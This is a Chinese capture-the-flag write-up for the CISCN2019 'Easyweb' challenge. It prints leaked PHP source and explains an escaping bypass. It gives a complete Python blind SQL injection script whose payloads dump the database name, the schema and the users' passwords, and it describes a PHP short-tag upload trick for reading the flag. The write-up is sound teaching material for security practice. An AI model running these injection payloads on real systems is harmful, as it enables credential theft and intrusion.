[Buu Easyweb] 盲注踩坑

[

[CISCN2019 总决赛 Day2 Web1]Easyweb

  • tags:备份文件、盲注、文件上传
  • 难度:困难

首先打开网页是个登录框,随着登录操作框里的图片似乎会变化,查看源代码发现是调用了 image.php 中的内容。扫一下目录发现 robot.txt,有 .bak 后缀的 php 备份文件,访问 index.php.bak 没东西,试了下 image.php.bak,得到源码:

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

参数通过 addslashes() 和 str_replace() 两个过滤,但是没有把 \\ 置空,传入 id=\\0,首先被 addslashes() 转义为 \\\\0,再被 str_replace() 去除掉最后一个 \ ,变成 \\\,拼到 sql 语句中就变成 id=’\\\’,成功转义掉后面的单引号,id 的单引号就跟 path 的第一个单引号匹配,由于 path 也可控,用 # 注释掉 path 的第二个单引号就能用 path 这个参数的位置构造盲注 payload。

盲注脚本:

# blind.py
# Author : imagin

from requests import *
from time import *
s = session()
url = "http://dbd7b58a-b856-45d5-983e-bb2a4fb1ddfb.node3.buuoj.cn/image.php"
res = ""
for x in range(100):
	high = 127
	low = 32
	while high > low:
		mid = (high + low) // 2
		# 数据库名
		# payload = " or id=if(ascii(substr((select database()),%d,1))>%d,1,0)#" % (x, mid)
		# ciscnfinal
		# 表名
		# payload = " or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,0)#" % (x, mid)
		# images, users
		# 列名
		# payload = " or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))>%d,1,0)#" % (x, mid)
		# username, password
		# passwd
		payload = " or id=if(ascii(substr((select group_concat(password) from users),%d,1))>%d,1,0)#" % (x, mid)
		# 9ea68881b9eb60bab59e
		# 这里需要 urlencode 一下 payload 因此可以吧参数放到 params 中
		data = { "id":"\\0", "path":payload }
		r = get(url, params=data)
		if len(r.text) > 100:
			low = mid + 1
		else:
			high = mid
	new_res = res + chr(high)
	res = new_res
	print(res)

这里有个比较坑的点,requests 请求的时候不会自动帮你 urlencode,如果直接交原始数据的话会导致注入不成功,把注入 payload 放到 get 函数的 params 参数就能实现自动 urlencode。

最后注出来口令是个20位的16进制数,稍微搜了下 DEDECMS 用的哈希算法就是把 md5 裁剪成20位使用,但是按他的算法爆了八位数的数字都没爆出来,正奇怪呢随手粘到登录框里,竟然发现能登录。。。原来网站根本没对密码哈希。

登录上去是个文件上传,会把上传的文件名会保存在一个日志文件中,如果文件名有 / 则会把 / 前的内容置空,同时也不能有 <?php,正好试了试前两天 ctf.show 红包题学到的短标签,用 <?=.*?> 构造 php 代码读取 flag 即可。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.